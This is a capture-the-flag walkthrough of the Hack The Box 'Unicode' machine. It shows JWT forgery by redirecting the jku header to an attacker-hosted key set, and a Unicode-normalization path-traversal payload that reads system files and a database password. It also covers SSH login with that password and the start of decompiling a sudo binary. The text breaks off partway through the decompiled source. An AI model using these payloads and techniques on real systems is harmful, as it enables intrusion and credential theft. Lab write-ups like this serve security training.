Hack-The-Box-walkthrough[unicode]

introduce

OS: Linux
Difficulty: Medium
Points: 30
Release: 27 Nov 2021
IP: 10.10.11.126

  • my htb rank

Enumeration

NMAP

1
2
3
4
5
6
┌──(root💀kali)-[~/hackthebox/machine/unicode]
└─# nmap -sV -v -p- --min-rate=10000 10.10.11.126
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap reveals only two open ports on the target. HTTP is running on Nginx. Let’s look into HTTP.

Web page has login and register links. Upon hovering ‘google about us’, we’d see a redirect link.

1
GET /redirect/?url=google.com HTTP/1.1

Let’s create a new account and login.

After login we’d see below dashboard.

It has three more links, upload, buy now and logout. the first two links did not lead to anywhere. Server is using JWT as cookies.

1
Cookie: auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9oYWNrbWVkaWEuaHRiL3N0YXRpYy9qd2tzLmpzb24ifQ.eyJ1c2VyIjoidGVzdEB0ZXN0LmNvbSJ9.BAzUpzOSU72w-MproYXSq_JQp1eCGkv_XkihDOVYRs4Qu3WJcBw0bguRUPJlM_Xr3Qib_2FkUpuI8YczJn4IARiYVNvDfLp0C53O74Mk8Vk-w7Y7KmPKHPp6q4tGkNzZoU6cymaqjTTJ58EWx8koy1mMRnXyg6WSFXDwY8o2BSNqIC4vbbVtScl2CV8J_IV5mgbyKn0hiqPF7iIzJnxVJwpmgYStKyGcLpkbQljNL84JuuAY9LQxuj0NU4n3vOJaBxV6vGrpJWi3gDBJv81OdXv8mgNxBtT2aaNH8GlBXOGYn-6PdQoNyoLj_cqWacm0Cneq4A3HE0YCDU6npQpP3w

Let’s decode this cookie with https://jwt.io

We got the decoded data. The interesting part of this data is, ‘JKU’.

1
The "jku" (Json Web Key Set URL) Header Parameter is a URI that refers to a resource for a set of JSON-encoded public keys, one of which corresponds to the key used to digitally sign the JWS (JSON Web Signature).

This JKU is pointing to a domain, add that domain to hosts file and read the file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root💀kali)-[~/hackthebox/machine/unicode]
└─# curl http://hackmedia.htb/static/jwks.json
{
"keys": [
{
"kty": "RSA",
"use": "sig",
"kid": "hackthebox",
"alg": "RS256",
"n": "AMVcGPF62MA_lnClN4Z6WNCXZHbPYr-dhkiuE2kBaEPYYclRFDa24a-AqVY5RR2NisEP25wdHqHmGhm3Tde2xFKFzizVTxxTOy0OtoH09SGuyl_uFZI0vQMLXJtHZuy_YRWhxTSzp3bTeFZBHC3bju-UxiJZNPQq3PMMC8oTKQs5o-bjnYGi3tmTgzJrTbFkQJKltWC8XIhc5MAWUGcoI4q9DUnPj_qzsDjMBGoW1N5QtnU91jurva9SJcN0jb7aYo2vlP1JTurNBtwBMBU99CyXZ5iRJLExxgUNsDBF_DswJoOxs7CAVC5FjIqhb1tRTy3afMWsmGqw8HiUA2WFYcs",
"e": "AQAB"
}
]
}

The below links will help us to understand JWT, JWK and JKU.

  • JSON Web Tokens (JWT) Demystified
  • JSON Web Key (JWK) draft-jones-json-web-key-03

Based on the above blogs, below is the normal working process.

We need to redirect the JKU header request to our server.

The above representation is what we need to achieve. To do that, first we need to generate RSA key pair. For that we can use any one of the below tools.

  • mkjwk simple JSON Web Key generator
  • jwt_tool

I will use online generator for this demo. Select below options and generate the random RSA key pair.

After generating, you will see private and public keys just like below.

Now we have generated the keys, it’s time to use these keys to craft the JSON Web Tokens. To do that we have to use default JWT and edit it accordingly.

The above is default JWT, taken from cookies after login. Now we need to edit three things.

  • JKU value
  • User Value: change it to admin
  • Public and Private Keys: add respective keys previously generated from online site.

Below is the final draft of JWT.

As you can see the difference between default ‘JKU’ value and crafted one, it is different. The objective is to redirect it to our server, if we just add our IP as JKU address it will not work, as ‘hackmedia’ is only one in the allow list and it gives us an error ‘JKU validation failed’. The validation check is up to ‘http://hackmedia.htb/static/‘. We have to change /add after that. So, as we already know it is an NginX server, we can take advantage of ‘off-by-slash’ bug and take advantage of going one step back in the directory and use ‘redirect’ endpoint.

1
http://hackmedia.com/redirect/?url=google.com

We already know it exists, so we just need to access it and redirect it to our Kali Machine. On Kali machine we set up a crafted ‘jwks.json’ file. Let’s craft the ‘jwks.json’ file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root💀kali)-[~/hackthebox/machine/unicode]
└─# curl http://hackmedia.htb/static/jwks.json
{
"keys": [
{
"kty": "RSA",
"use": "sig",
"kid": "hackthebox",
"alg": "RS256",
"n": "AMVcGPF62MA_lnClN4Z6WNCXZHbPYr-dhkiuE2kBaEPYYclRFDa24a-AqVY5RR2NisEP25wdHqHmGhm3Tde2xFKFzizVTxxTOy0OtoH09SGuyl_uFZI0vQMLXJtHZuy_YRWhxTSzp3bTeFZBHC3bju-UxiJZNPQq3PMMC8oTKQs5o-bjnYGi3tmTgzJrTbFkQJKltWC8XIhc5MAWUGcoI4q9DUnPj_qzsDjMBGoW1N5QtnU91jurva9SJcN0jb7aYo2vlP1JTurNBtwBMBU99CyXZ5iRJLExxgUNsDBF_DswJoOxs7CAVC5FjIqhb1tRTy3afMWsmGqw8HiUA2WFYcs",
"e": "AQAB"
}
]
}
  • ‘n’ : modulus value for the RSA public key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root💀kali)-[~/hackthebox/machine/unicode]
└─# cat jwks.json
{
"keys": [
{
"kty": "RSA",
"use": "sig",
"kid": "hackthebox",
"alg": "RS256",
"n": "kYtRuyinTL4D-22Q3WgbSWff3ClIie10qeeGjunpW-4DgO5WWlHMVI3qxyXnGPvVIfQuARkzNBGQ2O4rytPnF0OoSD6cCNxmGKqVoIratzskq28OFnfqO_QhEkVhGfd_drGqa0wMNEU312XVfGzfP7V_GWn9aQcLnaWMQUlDwYOKG_UEcOQgur3sKpCdZjMThYJ_33oYmhdtHd3sA-SaNiYtwWW2AJHcCJkaaxSN-lB1lx--pmTMqfL1fURJ_0n3vHO0jAs2Kwk2rm9rgQNABuQxgotu0IRNaK3R61d7Cz41evkQm2s9ya4XR0y1iqBRkElbFCpNUWt9hP3gb5Ty9Q",
"e": "AQAB"
}
]
}

The above is edited and replaced it with RSA n value which we have generated. Once you edit that, start a HTTP sever where that file is present. Everything is set, now the only thing is to copy the encoded JWT from the online website.

1
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9oYWNrbWVkaWEuaHRiL3N0YXRpYy8uLi9yZWRpcmVjdC8_dXJsPTEwLjEwLjE0LjMwL2p3a3MuanNvbiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.Om_Ox6WkDDtAnFWnyBHdXkkPXZFpe-h1yof4IEKWi5zGk3i_iBWVnOlp8HTNAXA9NI8R5J3T7qbczaTLZYer-pvd2W7j19dxbWw3Lz-raQcXhpMJRILVOsuNkEQgus5-HSC5oF3fEXQfQLnYvXb8RsUhlaHUAzWOpBAqunrQXvKG_13RiBa1XifDIXZnirNSs3i2gdf4l2lo9yB5t3R2Rb8WFqPQx8xgZpXfGFyoJ1QgGsz_0el_lKq_EXvzpt4VcLx9xOMGoB1a_bGYsAncxBQl3fWuNNDkUgFG0sYA9VSfU2ws85ctVu8i32OiREbadYuZ6kvZD_rgWdyRSbME4g

Copy the encoded JWT and add it as cookie value.

I am using Firefox add-on called ‘cookie editor’ to replace cookies easily. Save it and refresh the page.

We got the admin dashboard access. If you click on any of the saved reports, it will display you below message.

As you can see from address bar, it is fetching that pdf file from different location. There’s a possibility of path traversal attack. Let’s try to read any local file.

1
../../../../etc/passwd

It is filtering our inputs, we need to bypass it. To bypass that we have to use ‘unicode’ characters. Below blog explains how to use it and it’s impact.

  • Unicode normalization vulnerabilities

For this machine, we will use below payload.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
http://hackmedia.htb/display/?page=%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:113:117:MySQL Server,,,:/nonexistent:/bin/false
code:x:1000:1000:,,,:/home/code:/bin/bash

As you can see, we can read local files now via this technique. Now we need to fuzz to find the files which we can read.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
┌──(root💀kali)-[~/ffuf]
└─# ./ffuf -u 'http://hackmedia.htb/display/?page=%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/FUZZ' -b 'auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9oYWNrbWVkaWEuaHRiL3N0YXRpYy8uLi9yZWRpcmVjdC8_dXJsPTEwLjEwLjE0LjMwL2p3a3MuanNvbiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.Om_Ox6WkDDtAnFWnyBHdXkkPXZFpe-h1yof4IEKWi5zGk3i_iBWVnOlp8HTNAXA9NI8R5J3T7qbczaTLZYer-pvd2W7j19dxbWw3Lz-raQcXhpMJRILVOsuNkEQgus5-HSC5oF3fEXQfQLnYvXb8RsUhlaHUAzWOpBAqunrQXvKG_13RiBa1XifDIXZnirNSs3i2gdf4l2lo9yB5t3R2Rb8WFqPQx8xgZpXfGFyoJ1QgGsz_0el_lKq_EXvzpt4VcLx9xOMGoB1a_bGYsAncxBQl3fWuNNDkUgFG0sYA9VSfU2ws85ctVu8i32OiREbadYuZ6kvZD_rgWdyRSbME4g' -mc 200 -w /usr/share/seclists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt -fw 1299

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v1.1.0-git
________________________________________________

:: Method : GET
:: URL : http://hackmedia.htb/display/?page=%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt
:: Header : Cookie: auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9oYWNrbWVkaWEuaHRiL3N0YXRpYy8uLi9yZWRpcmVjdC8_dXJsPTEwLjEwLjE0LjMwL2p3a3MuanNvbiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.Om_Ox6WkDDtAnFWnyBHdXkkPXZFpe-h1yof4IEKWi5zGk3i_iBWVnOlp8HTNAXA9NI8R5J3T7qbczaTLZYer-pvd2W7j19dxbWw3Lz-raQcXhpMJRILVOsuNkEQgus5-HSC5oF3fEXQfQLnYvXb8RsUhlaHUAzWOpBAqunrQXvKG_13RiBa1XifDIXZnirNSs3i2gdf4l2lo9yB5t3R2Rb8WFqPQx8xgZpXfGFyoJ1QgGsz_0el_lKq_EXvzpt4VcLx9xOMGoB1a_bGYsAncxBQl3fWuNNDkUgFG0sYA9VSfU2ws85ctVu8i32OiREbadYuZ6kvZD_rgWdyRSbME4g
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200
:: Filter : Response words: 1299
________________________________________________

/etc/passwd [Status: 200, Size: 1876, Words: 17, Lines: 36]
/etc/group [Status: 200, Size: 778, Words: 1, Lines: 60]
/proc/self/environ [Status: 200, Size: 208, Words: 1, Lines: 1]
/proc/self/cmdline [Status: 200, Size: 87, Words: 1, Lines: 1]
/proc/self/stat [Status: 200, Size: 313, Words: 52, Lines: 2]
/proc/self/status [Status: 200, Size: 1367, Words: 93, Lines: 56]
/proc/self/fd/0 [Status: 200, Size: 0, Words: 1, Lines: 1]
/etc/mysql/my.cnf [Status: 200, Size: 682, Words: 89, Lines: 22]

None of these files are useful for our cause. They don’t have any information which can help us to gain shell access. However, we know that NginX is running on the machine, we can guess the path of configuration file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
http://hackmedia.htb/display/?page=%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/etc/nginx/sites-available/default

server{
#Change the Webroot from /home/code/coder/ to /var/www/html/
#change the user password from db.yaml
listen 80;
location / {
proxy_pass http://localhost:8000;
include /etc/nginx/proxy_params;
proxy_redirect off;
}
location /static/{
alias /home/code/coder/static/styles/;
}

}

One of the file gives us this above information about password change for the user and it has already given the path of the file too. Let’s read it.

1
2
3
4
5
6
http://hackmedia.htb/display/?page=%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/home/code/coder/db.yaml

mysql_host: "localhost"
mysql_user: "code"
mysql_password: "B3stC0d3r2021@@!"
mysql_db: "user"

We have the database password. Let’s login via SSH using these creds.and we got user flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
┌──(root💀kali)-[~/hackthebox/machine/unicode]
└─# ssh code@10.10.11.126
The authenticity of host '10.10.11.126 (10.10.11.126)' can't be established.
ED25519 key fingerprint is SHA256:SnMpKuOJvoXQsmvAqpabXWgEhnhEAkNeEnQ/zKJnmJs.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.126' (ED25519) to the list of known hosts.
code@10.10.11.126's password:
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

System information as of Wed 01 Dec 2021 03:00:28 PM UTC

System load: 0.17 Processes: 316
Usage of /: 82.5% of 3.87GB Users logged in: 0
Memory usage: 82% IPv4 address for eth0: 10.10.11.126
Swap usage: 0%

* Super-optimized for small spaces - read how we shrank the memory
footprint of MicroK8s to make it the smallest full K8s around.

https://ubuntu.com/blog/microk8s-memory-optimisation

8 updates can be applied immediately.
8 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Mon Nov 29 14:14:14 2021 from 10.10.14.23
code@code:~$ id
uid=1000(code) gid=1000(code) groups=1000(code)
code@code:~$ whoami
code
code@code:~$ cat user.txt
c44ed9130688a2816ef0bbcd5d561f19

privesclation

1
2
3
4
5
6
7
code@code:~$ sudo -l
Matching Defaults entries for code on code:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User code may run the following commands on code:
(root) NOPASSWD: /usr/bin/treport

We have permission to run the binary file with root’s privileges. Let’s look into it.

1
2
3
4
5
6
7
8
9
10
11
12
13
code@code:~$ sudo /usr/bin/treport
1.Create Threat Report.
2.Read Threat Report.
3.Download A Threat Report.
4.Quit.
Enter your choice:1
Enter the filename:test
Enter the report:test
Traceback (most recent call last):
File "treport.py", line 74, in <module>
File "treport.py", line 13, in create
FileNotFoundError: [Errno 2] No such file or directory: '/root/reports/test'
[5308] Failed to execute script 'treport' due to unhandled exception!

Upon executing this binary, it gives us four options to choose. If we choose option one, then ultimately it gives us this above error. Looks like it is a binary file compiled with python.

  • pyinstxtractor

Using above code we can extract python script from a binary.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(root💀kali)-[~/hackthebox/machine/unicode]
└─# scp code@10.10.11.126:/usr/bin/treport .
code@10.10.11.126's password:
treport 100% 6690KB 80.7KB/s 01:22
┌──(root💀kali)-[~/hackthebox/machine/unicode]
└─# python pyinstxtractor.py treport
[+] Processing treport
[+] Pyinstaller version: 2.1+
[+] Python version: 38
[+] Length of package: 6798297 bytes
[+] Found 46 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: pyi_rth_multiprocessing.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: treport.pyc
[!] Warning: This script is running in a different Python version than the one used to build the executable.
[!] Please run this script in Python38 to prevent extraction errors during unmarshalling
[!] Skipping pyz extraction
[+] Successfully extracted pyinstaller archive: treport

You can now use a python decompiler on the pyc files within the extracted directory
┌──(root💀kali)-[~/hackthebox/machine/unicode]
└─# ls
jwks.json pyinstxtractor.py treport treport_extracted

It extracted the python files and saved it in a directory.

1
2
3
4
5
6
7
8
9
10
┌──(root💀kali)-[~/hackthebox/machine/unicode]
└─# ls treport_extracted/
base_library.zip libffi.so.7 libssl.so.1.1 pyimod02_archive.pyc pyi_rth_pkgutil.pyc
libbz2.so.1.0 liblzma.so.5 libtinfo.so.6 pyimod03_importers.pyc PYZ-00.pyz
libcrypto.so.1.1 libmpdec.so.2 libz.so.1 pyimod04_ctypes.pyc PYZ-00.pyz_extracted
lib-dynload libpython3.8.so.1.0 pyiboot01_bootstrap.pyc pyi_rth_inspect.pyc struct.pyc
libexpat.so.1 libreadline.so.8 pyimod01_os_path.pyc pyi_rth_multiprocessing.pyc treport.pyc
┌──(root💀kali)-[~/hackthebox/machine/unicode]
└─# file treport_extracted/treport.pyc
treport_extracted/treport.pyc: python 2.7 byte-compiled

It has a lot of file, we have byte-compiled file. We can’t just read like normal files. We need to disassemble and decompile to read the contents.

  • pycdc

We will use this above project to do that. We could have used ‘uncompyle6’ but it only supports python version up to 3.8. This byte-compiled file is created with python version 3.9. Clone the project and we need to compile it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
┌──(root💀kali)-[~/pycdc]
└─# ls
ASTNode.cpp bytecode_ops.inl data.cpp pyc_code.cpp pyc_module.cpp pyc_sequence.cpp scripts
ASTNode.h bytes data.h pyc_code.h pyc_module.h pyc_sequence.h tests
ASTree.cpp CMakeCache.txt FastStack.h pycdas pyc_numeric.cpp pyc_string.cpp
ASTree.h CMakeFiles libpycxx.a pycdas.cpp pyc_numeric.h pyc_string.h
bytecode.cpp cmake_install.cmake LICENSE pycdc pyc_object.cpp PythonBytecode.txt
bytecode.h CMakeLists.txt Makefile pycdc.cpp pyc_object.h README.markdown
┌──(root💀kali)-[~/pycdc]
└─# cmake CMakeLists.txt
-- The C compiler identification is GNU 11.2.0
-- The CXX compiler identification is GNU 11.2.0
-- Detecting C compiler ABI info
-- Detecting C compiler ABI info - done
-- Check for working C compiler: /usr/bin/cc - skipped
-- Detecting C compile features
-- Detecting C compile features - done
-- Detecting CXX compiler ABI info
-- Detecting CXX compiler ABI info - done
-- Check for working CXX compiler: /usr/bin/c++ - skipped
-- Detecting CXX compile features
-- Detecting CXX compile features - done
-- Found PythonInterp: /usr/bin/python (found version "2.7.18")
-- Configuring done
-- Generating done
-- Build files have been written to: /root/pycdc
┌──(root💀kali)-[~/pycdc]
└─# ls -la
总用量 2556
drwxrwxrwx 8 root root 4096 12月 1 10:21 .
drwx------ 161 root root 12288 12月 1 08:01 ..
-rwxrwxrwx 1 root root 1681 5月 16 2020 ASTNode.cpp
-rwxrwxrwx 1 root root 16201 5月 16 2020 ASTNode.h
-rwxrwxrwx 1 root root 115114 5月 16 2020 ASTree.cpp
-rwxrwxrwx 1 root root 253 5月 16 2020 ASTree.h
-rwxrwxrwx 1 root root 11662 5月 16 2020 bytecode.cpp
-rwxrwxrwx 1 root root 848 5月 16 2020 bytecode.h
-rwxrwxrwx 1 root root 3922 5月 16 2020 bytecode_ops.inl
drwxrwxrwx 2 root root 4096 5月 16 2020 bytes
-rw-r--r-- 1 root root 13934 12月 1 10:21 CMakeCache.txt
drwxrwxrwx 9 root root 4096 12月 1 10:21 CMakeFiles
-rw-r--r-- 1 root root 3065 12月 1 10:21 cmake_install.cmake
-rwxrwxrwx 1 root root 1900 5月 16 2020 CMakeLists.txt
-rwxrwxrwx 1 root root 1781 5月 16 2020 data.cpp
-rwxrwxrwx 1 root root 1269 5月 16 2020 data.h
-rwxrwxrwx 1 root root 969 5月 16 2020 FastStack.h
drwxr-xr-x 8 root root 4096 5月 16 2020 .git
drwxr-xr-x 3 root root 4096 5月 16 2020 .github
-rw-r--r-- 1 root root 42 5月 16 2020 .gitignore
-rwxrwxrwx 1 root root 965136 5月 16 2020 libpycxx.a
-rwxrwxrwx 1 root root 35147 5月 16 2020 LICENSE
-rw-r--r-- 1 root root 36621 12月 1 10:21 Makefile
-rwxrwxrwx 1 root root 2319 5月 16 2020 pyc_code.cpp
-rwxrwxrwx 1 root root 3270 5月 16 2020 pyc_code.h
-rwxrwxrwx 1 root root 360984 5月 16 2020 pycdas
-rwxrwxrwx 1 root root 8665 5月 16 2020 pycdas.cpp
-rwxrwxrwx 1 root root 833824 5月 16 2020 pycdc
-rwxrwxrwx 1 root root 1104 5月 16 2020 pycdc.cpp
-rwxrwxrwx 1 root root 4504 5月 16 2020 pyc_module.cpp
-rwxrwxrwx 1 root root 1932 5月 16 2020 pyc_module.h
-rwxrwxrwx 1 root root 3694 5月 16 2020 pyc_numeric.cpp
-rwxrwxrwx 1 root root 2624 5月 16 2020 pyc_numeric.h
-rwxrwxrwx 1 root root 2728 5月 16 2020 pyc_object.cpp
-rwxrwxrwx 1 root root 3932 5月 16 2020 pyc_object.h
-rwxrwxrwx 1 root root 4559 5月 16 2020 pyc_sequence.cpp
-rwxrwxrwx 1 root root 2265 5月 16 2020 pyc_sequence.h
-rwxrwxrwx 1 root root 4280 5月 16 2020 pyc_string.cpp
-rwxrwxrwx 1 root root 961 5月 16 2020 pyc_string.h
-rwxrwxrwx 1 root root 48053 5月 16 2020 PythonBytecode.txt
-rwxrwxrwx 1 root root 1460 5月 16 2020 README.markdown
drwxrwxrwx 3 root root 4096 5月 16 2020 scripts
drwxrwxrwx 6 root root 4096 5月 16 2020 tests
┌──(root💀kali)-[~/pycdc]
└─# make
[ 2%] Generating bytes/python_10.cpp, bytes/python_11.cpp, bytes/python_13.cpp, bytes/python_14.cpp, bytes/python_15.cpp, bytes/python_16.cpp, bytes/python_20.cpp, bytes/python_21.cpp, bytes/python_22.cpp, bytes/python_23.cpp, bytes/python_24.cpp, bytes/python_25.cpp, bytes/python_26.cpp, bytes/python_27.cpp, bytes/python_30.cpp, bytes/python_31.cpp, bytes/python_32.cpp, bytes/python_33.cpp, bytes/python_34.cpp, bytes/python_35.cpp, bytes/python_36.cpp, bytes/python_37.cpp, bytes/python_38.cpp
[ 5%] Building CXX object CMakeFiles/pycxx.dir/bytecode.cpp.o
[ 7%] Building CXX object CMakeFiles/pycxx.dir/data.cpp.o
[ 10%] Building CXX object CMakeFiles/pycxx.dir/pyc_code.cpp.o
[ 12%] Building CXX object CMakeFiles/pycxx.dir/pyc_module.cpp.o
[ 15%] Building CXX object CMakeFiles/pycxx.dir/pyc_numeric.cpp.o
[ 17%] Building CXX object CMakeFiles/pycxx.dir/pyc_object.cpp.o
[ 20%] Building CXX object CMakeFiles/pycxx.dir/pyc_sequence.cpp.o
[ 23%] Building CXX object CMakeFiles/pycxx.dir/pyc_string.cpp.o
[ 25%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_10.cpp.o
[ 28%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_11.cpp.o
[ 30%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_13.cpp.o
[ 33%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_14.cpp.o
[ 35%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_15.cpp.o
[ 38%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_16.cpp.o
[ 41%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_20.cpp.o
[ 43%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_21.cpp.o
[ 46%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_22.cpp.o
[ 48%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_23.cpp.o
[ 51%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_24.cpp.o
[ 53%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_25.cpp.o
[ 56%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_26.cpp.o
[ 58%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_27.cpp.o
[ 61%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_30.cpp.o
[ 64%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_31.cpp.o
[ 66%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_32.cpp.o
[ 69%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_33.cpp.o
[ 71%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_34.cpp.o
[ 74%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_35.cpp.o
[ 76%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_36.cpp.o
[ 79%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_37.cpp.o
[ 82%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_38.cpp.o
[ 84%] Linking CXX static library libpycxx.a
[ 84%] Built target pycxx
[ 87%] Building CXX object CMakeFiles/pycdc.dir/pycdc.cpp.o
[ 89%] Building CXX object CMakeFiles/pycdc.dir/ASTree.cpp.o
[ 92%] Building CXX object CMakeFiles/pycdc.dir/ASTNode.cpp.o
[ 94%] Linking CXX executable pycdc
[ 94%] Built target pycdc
[ 97%] Building CXX object CMakeFiles/pycdas.dir/pycdas.cpp.o
[100%] Linking CXX executable pycdas
[100%] Built target pycdas
┌──(root💀kali)-[~/pycdc]
└─# ls
ASTNode.cpp bytecode_ops.inl data.cpp pyc_code.cpp pyc_module.cpp pyc_sequence.cpp scripts
ASTNode.h bytes data.h pyc_code.h pyc_module.h pyc_sequence.h tests
ASTree.cpp CMakeCache.txt FastStack.h pycdas pyc_numeric.cpp pyc_string.cpp
ASTree.h CMakeFiles libpycxx.a pycdas.cpp pyc_numeric.h pyc_string.h
bytecode.cpp cmake_install.cmake LICENSE pycdc pyc_object.cpp PythonBytecode.txt
bytecode.h CMakeLists.txt Makefile pycdc.cpp pyc_object.h README.markdown

Now we can use this to decompile.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
┌──(root💀kali)-[~/hackthebox/machine/unicode/treport_extracted]
└─# /root/pycdc/pycdc treport.pyc
# Source Generated with Decompyle++
# File: treport.pyc (Python 3.9)
Unsupported opcode: <255>
import os
import sys
from datetime import datetime
import re

class threat_report:
def create(self):
Unsupported opcode: <255>
file_name = input('Enter the filename:')
content = input('Enter the report:')
if '../' in file_name:
print('NOT ALLOWED')
sys.exit(0)
file_path = '/root/reports/' + file_name
# WARNING: Decompyle incomplete
def list_files(self):
file_list = os.listdir('/root/reports/')
